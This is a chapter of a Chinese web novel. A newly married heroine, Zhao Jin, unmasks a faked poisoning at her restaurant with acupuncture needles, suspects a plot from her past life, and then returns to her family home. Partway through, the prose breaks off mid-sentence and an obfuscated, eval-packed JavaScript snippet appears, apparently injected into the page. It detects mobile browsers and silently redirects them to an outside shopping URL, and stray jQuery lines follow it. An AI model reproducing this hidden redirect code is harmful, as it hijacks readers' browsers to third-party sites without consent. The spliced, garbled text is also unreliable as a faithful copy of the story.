福运楼。
赵瑾慢悠悠上了二楼。
这十几年,她做生意不能说风平浪静,多多少少也遇到过一些麻烦,但是都很好解决。今日这事,来得太过突然,很是蹊跷。
琉玥担忧道:“小姐,您要出面见他们?万一暴露了怎么办?”
赵瑾低声道:“无妨,我又不是用老板的身份,在全京城眼里,我这个恶毒千金可是很多人的护身符,我拿钱办事,理所应当。”
只见地上躺着一个中年男人,身边跪着一个青年人,一堆围观众人。
那青年人正对掌柜破口大骂,“你们福运楼丧尽天良,我和哥哥听说这里的饭菜好吃,闻名远方,便来尝尝。没想到你们竟然害了我哥哥的命。还我哥哥的命来!”
张掌柜很是冤枉:“小兄弟,咱们在这掰扯半天,我说过好多次了,说话要讲证据。我们与你们素未谋面,你们又是来我这里消费的,我们怎么可能下毒害你们呢?而且谁会在大庭广众之下毒死人呢?这不是给我们自己找麻烦吗?”
他心里焦急,该说的都说了,只是那青年人车轱辘话反复哭嚎,就是纠缠着不放。
赵瑾缓缓走到几人面前:“大家别急,我刚才在楼下遇到两位捕快大人,正好帮忙报案了。我还请来了张仵作,他们一会儿就到。”
她的话音刚落,三人便到了。
两名捕快抱拳,道:“赵小姐,哦不,现在应该叫世子妃了。”
赵瑾微微颔首,坐在琉玥搬过来的椅子上,冷冷地打量地上的尸体和抹着眼泪的青年人。
“劳烦各位了。”
张掌柜见到救星来了,总算松口气。
趁着张仵作查验尸体的空隙,捕快做些了解。
丁捕快客客气气地问了安,“世子妃,您是这福运楼的老板?”
赵瑾趾高气扬,老大不愿意回答,“本小姐爱吃这家酒楼的饭菜,所以本小姐喜欢罩着这里,不行吗?”
丁捕快赔笑道:“是是是,世子妃说得是。那您看,今天这事怎么处理?”
青年人见他们聊了起来,指着他们哭道:“我就知道你们这些有钱有势的人狼狈为奸,不管我们平民百姓的死活。老天爷啊,我哥哥死得冤枉啊!呜呜呜……”
赵瑾可不是被吓大的,观察青年人眼神闪躲,心中有了计较。
张仵作查验一番,确认中毒之人确实死了。
薛朔主仆二人在不远处的阴暗角落,观察情况。
追枫道:“世子爷,如果是您,您要怎么解决?”
薛朔眼神锐利,早就看出那青年人不是真的伤心。
“解决倒是不难,只要……”
“死了?”赵瑾起身,走到死尸前,问张仵作,“有银针吗?”
“有的有的,”张仵作恭恭敬敬双手奉上针灸包。
赵瑾打开针灸包,从里面取出一根最大号的银针,刚要扎向死者头部的穴道,就被青年人拦住。
青年人情绪非常激动,“你干什么?我哥哥已经死了,你还要残害他的尸首?”
赵瑾给琉玥使了个眼色,后者立刻上前拉走青年人。
这青年人空有一身子力气,可是不会武功,根本反抗不了琉玥一招半式。
银针刺入死者头顶的一个穴道。
所有人大气不敢出,屏气凝神地盯着看,不知道赵瑾在做什么。
赵瑾又一针扎在了死者手臂。
只见死者“啊”地一声惨叫,从地上跳了起来,“啊啊,好痛,好痛!”
赵瑾把银针放回针灸包,然后还给张仵作。
“你本来不用挨第二针的,谁叫你继续装死。”
中年人神色窘迫,扑通一声跪在她面前求饶。
“小人知错了,小人再也不敢了。我们只是财迷心窍,想着搞几个钱花花。求求您大人有大量,放过我们这次吧。”
张仵作却一脸惊奇,“世子妃,您怎么知道他是假死啊?他刚才明明没有呼吸脉搏和心跳的,而且还有中毒迹象。”
赵瑾笑答:“我恰好知道有一种假死药,服用后便是这样的症状。”
这些年,她可想出了数不清的逃生方法。
全家装死,改名换姓,也是一种保全方法。
张仵作崇拜地看着她,“世子妃见识渊博,老朽佩服。”
青年人眼看事情败露,想要趁机溜走,被琉玥一脚踢在地上。
“狗东西,你以为能骗过我家小姐的眼睛?呸!”
两名捕快按照流程把二人带走。
张掌柜对赵瑾千恩万谢,说多亏了她的帮忙,以后一定要多来赏脸,一律免费,又说会禀报老板,好好答谢之类。
赵瑾带着琉玥离开,心里琢磨这件事可能不简单。
福运楼已经开了十年,不说赵瑾明面上罩着它,就是那些达官贵人,有头有脸的大人物也时不时光临,一般人不敢来撒野。
那假死药可不是寻常人轻易能够得到的。
这很像一种警告信号。
难道,因为她成亲了,命运的齿轮终究还是走向上一世的轨迹了吗?
若她所料不错,捕快从那二人嘴里是问不到什么东西的。索性也就不去费心关注后续的情况。不过,这件事还是要好好调查一番。
若真是前世灭赵家满门的幕后黑手所为,她倒是放心了。
她等了这么多年,不找出这个人,她总是活得不安心。
躲在暗处的薛朔目光停留在离去的少女背影上,没想到她倒有些真本事。
吩咐道:“去查查咱们这位世子妃还有哪些秘密,再查查是谁在暗中搞事,竟然欺负到我的头上!”
“是!”追枫应道,思索片刻,“主子,他们不是冲着世子妃来的么?什么时候欺负到您的头上了?”
薛朔瞪了他一眼:“夫妻一体,我们刚成亲,就有人搞事。这是不把我闲王府放在眼里,能说跟我没关系吗?”
追枫:“这么说,也不是没道理哈。”
酒楼小风波过去,总算消停了两天。
赵瑾用一天就适应了在王府的日子。也没什么要适应的,她第一天就在整个王府撒钱,大家对她印象很好,见了面恭恭敬敬,公婆不搞事,丈夫整天不见人,日子倒也清闲。
转眼到了回门日。
王妃让人把整个王府找遍了,也没发现薛朔。
“这孩子,都成亲了还这么不着调,昨日明明叮嘱过他的。阿瑾,是母妃对不起你,都是我把他宠
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17353361|199657||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
坏了。”
她说着就把头上的朱钗取了下来,“这是我母亲留给我的,也是我外祖母送给她的,你戴着玩吧。”
那朱钗做工精细繁复,镶嵌的宝石晶莹剔透,更是市面上罕见品种,至少五千两银子。
赵瑾忙推辞,“母妃,这太贵重了。儿媳不能要。”
王妃眉眼温柔,深表歉意,“阿朔那孩子,唉……苦了你了。收下吧,母妃年纪大了,不需要这些。”
赵瑾看着面前这个美貌妇人,皮肤白皙,身材窈窕,走在街上哪会有人相信她已经当了婆婆。平日里,王妃穿着简单,首饰不多,这朱钗对她很重要,也是她喜爱之物,又是祖传。
她知道王妃故意这样说,只是为了替儿子给补偿。
“多谢母妃。”
王妃劝道:“阿瑾,你先别走,我叫人去把那臭小子绑回来。”
赵瑾笑道:“真的不用,让他玩去吧。本就没什么大不了的,他若是乖乖跟我回了娘家,反倒不是他的性子了。”
王妃点点头,觉得她说得甚是有道理。
“真是苦了你了。不知道这孩子到底是不是我亲生的,怎么这般顽皮,也不像他父王,难道我生产之日,有人把我亲生的娃儿掉包了?”
赵瑾心想:您脑洞还挺大的。
“母妃无须担心,夫君定是你和父王的亲生孩子。他长相遗传了您和父王的优点,不会错的。”
王妃笑道:“我跟你父王一直都安安分分过自己的日子,也没什么大志向,不求大富大贵,名流千古,但求一家老小健康平安便好,偏偏这孩子总是闯祸。”
赵瑾换位思考,如果自己有这样的儿子,每天都得揍几顿,管他是不是病秧子。
那家伙根本就是从小到大,仗着自己有病,才敢四处横行霸道。
赵瑾带着苓苓离开王府,上了马车。
琉玥跟随左右,担忧道:“小姐,奴婢已经查清楚,那日在酒楼闹事者不是本地人。”
赵瑾思索道:“还特意找的外地人。就是不知道幕后之人是单纯冲着福运楼还是冲着我来的。”
她之前以为是薛朔暗中搞鬼,后来否定了这个猜测。这些年,他们二人为了一个恶名斗来斗去,说到底也没有深仇大恨。这次被皇帝赐婚,虽然他们都不愿意,可大家也还是硬着头皮成亲了。
先不管新婚夜那杯有毒的交杯酒是怎么回事,薛朔不可能知道她就是福运楼背后的老板。
所以赵瑾得出结论,至少这两个闹事的不是薛朔的手笔。
前世到底是什么原因灭原主满门,一直都没搞清楚。
难道她努力这么久,终究难逃此劫?
不,绝不认输!
赵薛两家本就同城,相隔不太远。
赵瑾父母和她两个哥哥早已在大门口等候多时。
琉玥先下了马车,掀开帘子,道:“小姐,到家了。”
赵瑾下马车,亲切地喊,“爹娘,大哥,二哥。我回来啦。”
赵父赵母红着眼睛,两位哥哥也一脸关切地盯着她。
赵母抹了抹眼泪,“回来就好,回来就好。”
她看了看马车,没再有人下车,又向四处张望,“世子呢?他没跟你回来?”